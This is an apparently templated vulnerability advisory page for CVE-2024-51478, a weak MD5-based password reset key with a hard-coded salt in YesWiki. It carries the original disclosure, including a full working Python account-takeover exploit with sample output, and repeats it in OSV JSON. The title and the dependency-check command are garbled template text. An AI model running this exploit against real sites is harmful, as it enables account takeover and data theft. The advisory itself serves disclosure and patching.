CVE-2024-51478: Yeswiki/yeswiki YesWiki Uses A Broken Or Vulnerability

HIGH
Advisory Identifier: GHSA-4fvx-h823-38v3
CVSS 9.9
CWE-327
Published
Advisory Summary

CVE-2024-51478 is a HIGH (CVSS 9.9) yeswiki uses a broken or vulnerability (CWE-327: Use of a Broken or Risky Cryptographic Algorithm) affecting Yeswiki/yeswiki libraries in the Packagist ecosystem. The issue involves yeswiki uses a broken or risky cryptographic algorithm. Remediation is available by upgrading affected packages to version 4.4.5.

CVE-2024-51478 at a Glance

CVE Identifier CVE-2024-51478
GHSA Identifier GHSA-4fvx-h823-38v3
Severity HIGH
CVSS v3.1 Base Score 9.9
CWE Classification CWE-327: Use of a Broken or Risky Cryptographic Algorithm
Affected Product Yeswiki/yeswiki
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2024-51478

To remediate this vulnerability, upgrade all affected Yeswiki/yeswiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yeswiki/yeswiki fixed: 4.4.5
Upgrade yeswiki/yeswiki to 4.4.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for yeswiki/yeswiki

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-51478, inspect your project dependencies for Yeswiki/yeswiki:

inspect dependencies for yeswiki/yeswiki

Analyze the terminal output to locate any version of Yeswiki/yeswiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.4.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-327: Use of a Broken or Risky Cryptographic Algorithm, where the product uses a broken or risky cryptographic algorithm or protocol. In Yeswiki/yeswiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account. ### Details Firstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` : ```php private const PW_SALT = 'FBcA'; ``` Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` : ```php protected function generateUserLink($user) { // Generate the password recovery key $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT); ``` The key is generated from the **user's name**, **e-mail address**, a random number **between 0 and 10000**, the **current date** of the request and the **salt**. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number. ### Proof of Concept (PoC) To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email. ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- # Author: Nishacid # YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto from hashlib import md5 from requests import post, get from base64 import b64encode from sys import exit from datetime import datetime from concurrent.futures import ThreadPoolExecutor, as_completed from argparse import ArgumentParser # Known data salt = 'FBcA' # Hardcoded salt random_range = 10000 # Range for random_int() WORKERS = 20 # Number of workers # Arguments def parseArgs(): parser = ArgumentParser() parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True) parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True) parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True) return parser.parse_args() # Reset password request and get timestamp def reset_password(email: str, domain: str): response = post( f'{domain}?MotDePassePerdu', data={ 'email': email, 'subStep': '1' }, headers={ 'Content-Type': 'application/x-www-form-urlencoded' } ) if response.ok: timestamp = datetime.now() # obtain the timestamp timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S') print(f"[*] Requesting link for {email} at {timestamp}") return timestamp else: print("[-] Error while resetting password.") exit() # Generate and check keys def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str): user_base64 = b64encode(username.encode()).decode() data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}" hash_candidate = md5(data.encode()).hexdigest() url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}" # print(f"[*] Checking {url}") response = get(url) # Check if the link is valid, warning depending on the language if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text: return (True, random_int_val, hash_candidate, url) return (False, random_int_val, None, None) def main(timestamp_req: str, domain: str, username: str, email: str): # Launch the brute-force print(f"[*] Starting brute-force, it can take few minutes...") with ThreadPoolExecutor(max_workers=WORKERS) as executor: futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)] for future in as_completed(futures): success, random_int_val, hash_candidate, url = future.result() if success: print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}") print(f"[+] URL: {url}") exit() else: print("[-] Key not found.") if __name__ == "__main__": args = parseArgs() timestamp_req = reset_password(args.email, args.domain) main(timestamp_req, args.domain, args.username, args.email) ``` Simply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain. ```bash » python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' [*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48 [*] Starting brute-force, it can take few minutes... [+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9 [+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K ``` ### Impact Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc. ### Recommendation The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use [random bytes](https://www.php.net/manual/en/function.random-bytes.php) instead of a random integer.

CVE-2024-51478 Affected Yeswiki/yeswiki Versions

1 component(s)
Fixed Versions:
4.4.5
Product / Package Ecosystem Affected Versions Fixed Version
yeswiki/yeswiki
Packagist
< 4.4.5
4.4.5

References

Frequently Asked Questions

What is CVE-2024-51478?
CVE-2024-51478 is a security vulnerability in Yeswiki/yeswiki involving YesWiki Uses a Broken or Risky Cryptographic Algorithm under CWE-327: Use of a Broken or Risky Cryptographic Algorithm.
Which Yeswiki/yeswiki versions are affected?
Affected versions include releases prior to 4.4.5 across affected packages: yeswiki/yeswiki.
What version fixes CVE-2024-51478?
Upgrading to 4.4.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yeswiki/yeswiki affected?
Yes, yeswiki/yeswiki is affected in releases prior to 4.4.5. Upgrade your dependency to 4.4.5 or later.
What is the CVSS score of CVE-2024-51478?
CVE-2024-51478 has a CVSS v3.1 base score of 9.9 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L.
What CWE is associated with CVE-2024-51478?
CVE-2024-51478 is classified under CWE-327: Use of a Broken or Risky Cryptographic Algorithm (The product uses a broken or risky cryptographic algorithm or protocol.).
How can I check Packagist dependencies for CVE-2024-51478?
Run the dependency tree command: 'inspect dependencies for yeswiki/yeswiki'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4fvx-h823-38v3",
  "modified" : "2024-10-31T19:36:27Z",
  "published" : "2024-10-31T17:12:35Z",
  "aliases" : [ "CVE-2024-51478" ],
  "summary" : "YesWiki Uses a Broken or Risky Cryptographic Algorithm",
  "details" : "### Summary\nThe use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.\n\n### Details\nFirstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` :\n\n```php\nprivate const PW_SALT = 'FBcA';\n```\n\nNext, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` :\n\n```php\nprotected function generateUserLink($user)\n{\n    // Generate the password recovery key\n    $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);\n```\n\nThe key is generated from the **user's name**, **e-mail address**, a random number **between 0 and 10000**, the **current date** of the request and the **salt**.\nIf we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.\n\n### Proof of Concept (PoC)\nTo demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Author: Nishacid\n# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto\n\nfrom hashlib import md5\nfrom requests import post, get\nfrom base64 import b64encode\nfrom sys import exit\nfrom datetime import datetime\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom argparse import ArgumentParser\n\n# Known data\nsalt = 'FBcA' # Hardcoded salt \nrandom_range = 10000  # Range for random_int()\nWORKERS = 20 # Number of workers\n\n# Arguments\ndef parseArgs():\n    parser = ArgumentParser()\n    parser.add_argument(\"-u\", \"--username\", dest=\"username\", default=None, help=\"Username of the account\", required=True)\n    parser.add_argument(\"-e\", \"--email\", dest=\"email\", default=None, help=\"Email of the account\", required=True)\n    parser.add_argument(\"-d\", \"--domain\", dest=\"domain\", default=None, help=\"Domain of the target\", required=True)\n    return parser.parse_args()\n\n# Reset password request and get timestamp  \ndef reset_password(email: str, domain: str):\n    response = post(\n        f'{domain}?MotDePassePerdu',\n        data={\n            'email': email, \n            'subStep': '1'\n        },\n        headers={\n            'Content-Type': 'application/x-www-form-urlencoded'\n        }\n    )\n    if response.ok:\n        timestamp = datetime.now() # obtain the timestamp\n        timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')\n        print(f\"[*] Requesting link for {email} at {timestamp}\")\n        return timestamp\n    else:\n        print(\"[-] Error while resetting password.\")\n        exit()\n\n# Generate and check keys\ndef check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):\n    user_base64 = b64encode(username.encode()).decode()\n    data = f\"{username}_{email}{random_int_val}{timestamp_req}{salt}\"\n    hash_candidate = md5(data.encode()).hexdigest()\n    url = f\"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}\"\n    # print(f\"[*] Checking {url}\")\n    response = get(url)\n    \n    # Check if the link is valid, warning depending on the language\n    if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:\n        return (True, random_int_val, hash_candidate, url)\n    return (False, random_int_val, None, None)\n\ndef main(timestamp_req: str, domain: str, username: str, email: str):\n    # Launch the brute-force\n    print(f\"[*] Starting brute-force, it can take few minutes...\")\n    with ThreadPoolExecutor(max_workers=WORKERS) as executor:\n        futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]\n        \n        for future in as_completed(futures):\n            success, random_int_val, hash_candidate, url = future.result()\n            if success:\n                print(f\"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}\")\n                print(f\"[+] URL: {url}\")\n                exit()\n        else:\n            print(\"[-] Key not found.\")\n\nif __name__ == \"__main__\":\n    args = parseArgs()\n    timestamp_req = reset_password(args.email, args.domain)\n    main(timestamp_req, args.domain, args.username, args.email)\n```\n\nSimply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain.\n\n```bash\n» python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' \n[*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48\n[*] Starting brute-force, it can take few minutes...\n[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9\n[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K\n```\n\n### Impact\nMany impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.\n\n### Recommendation \nThe safest solution is to replace the salt with a random one and the hash algorithm with a more secure one.\nFor example, you can use [random bytes](https://www.php.net/manual/en/function.random-bytes.php) instead of a random integer.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yeswiki/yeswiki"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.4.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.4.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-4fvx-h823-38v3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-51478"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/commit/b5a8f93b87720d5d5f033a4b3a131ce0fb621dbc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/commit/e1285709f6f6a2277bd0075acf369f33cefd78f7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YesWiki/yeswiki"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-327" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-10-31T17:12:35Z",
    "nvd_published_at" : "2024-10-31T17:15:13Z"
  }
}